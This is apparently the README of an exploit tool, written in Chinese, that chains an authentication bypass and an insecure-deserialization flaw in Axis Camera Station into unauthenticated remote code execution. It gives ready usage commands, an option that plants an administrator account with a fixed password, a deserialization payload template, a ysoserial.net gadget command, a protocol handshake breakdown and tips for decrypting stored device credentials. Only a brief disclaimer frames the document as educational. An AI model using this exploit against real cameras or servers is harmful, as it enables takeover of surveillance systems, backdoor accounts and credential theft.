该漏洞利用将 CVE‑2025‑30026(身份验证绕过)与 CVE‑2025‑30023(不安全反序列化)链接起来,从而在 Axis Camera Station 软件上实现未授权 RCE。它绕过登录机制并投递恶意序列化载荷,触发任意命令执行,使攻击者能够完全控制目标机器。
这两个漏洞均影响 6.9 之前的 Axis Camera Station Pro 版本以及 5.58 之前的 Axis Camera Station 版本。
它基于 Claroty 的博客文章 “Turning Camera Surveillance on its Axis”,该文章描述了协议及相关漏洞。
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| 参数 | 描述 |
|---|---|
--host | 目标 IP/主机(必填)。 |
--port | 目标端口(默认 55752)。 |
--key | PEM 格式的客户端 RSA-2048 私钥(必填)。 |
--json | 包含要发送的 Request 的本地 JSON 文件。 |
--version | VersionFacade.get_ProductVersion Request,用于获取版本信息。 |
--adduser | 创建用户 ricardo,密码为 ThisIsIt123,并将其添加到 Administrators 组。 |
--wait | 握手后在通道上监听的秒数(默认 5)。 |
--listen | 发送 Request 后等待响应的秒数(默认 15)。 |
安装依赖并为客户端生成 PEM 格式的 RSA 私钥:
pip install cryptography
openssl genrsa -out client_priv.pem 2048
查询产品版本以检查该版本是否存在漏洞:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

利用反序列化漏洞创建一个管理员用户 ricardo,密码为 ThisIsIt123:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


从 JSON 文件发送自定义 Request 以执行任意命令:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
Request 文件格式Request 是一个带有单个 "Request" 键的 JSON 对象。利用反序列化的格式为:
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
clientInformationDto 字段的值可以使用 Ysoserial.net 配合诸如 WindowsIdentity 之类的 gadget 来获取,该 gadget 在利用此漏洞时看起来相当稳定(其他 gadget 会导致服务崩溃):
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
一旦你获得了对 Windows 机器的访问权限,你就可以访问 .FDB 数据库,其中包含用于连接不同设备的凭据。这些数据库使用弱 AES 实现进行加密,你可以立即使用主机的卷序列号进行解密,或者使用 GPU 在几分钟内暴力破解。
你可以使用此仓库中的脚本来利用它:CVE-2026-63286。
AXIS Camera Station 在 HTTP 之上封装了一个有状态的二进制协议。它不是每个连接一个请求/响应,而是打开两个长生命周期通道,并在其上流式传输分帧消息,直到连接关闭。
| 层 | 详情 |
|---|---|
| 传输 | 基于端口 55752 的 HTTP。GET /_/ 打开 RX(接收)通道;POST /_/<channelID> 是 TX(发送)通道,每条消息位于 POST 正文中。 |
| RX 分帧 | HTTP chunked 正文;在其内部,控制帧为 [uint32 LE length][data]。 |
| 握手 | 双方交换公钥,然后使用对方的公钥封装一个随机 AES 会话密钥。 |
| 密钥格式 | 客户端发送其 X.509 证书(base64)。AES 密钥以 base64(wrapped_key):base64(iv) 形式发送。 |
| RSA 封装 | PKCS#1 v1.5。 |
| 通道 | 使用 PKCS#7 填充的 AES-256-CBC。服务器→客户端帧使用服务器的密钥 + IV。 |
| 应用 | Axis.Remoting JSON。客户端首先将其 ClientId 作为 HELLO 发送,然后发送 {"Request":{"Id","Service","Method","Parameters"}}。 |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
已在 Windows 11 上运行的 5.57.27610 和 5.57.33556 版本上测试。
如果使用不稳定的 gadget 或不合适的参数,反序列化攻击可能导致服务崩溃,因此请务必在受控环境中进行测试。
本脚本仅供教育和授权测试目的使用……使用风险自负!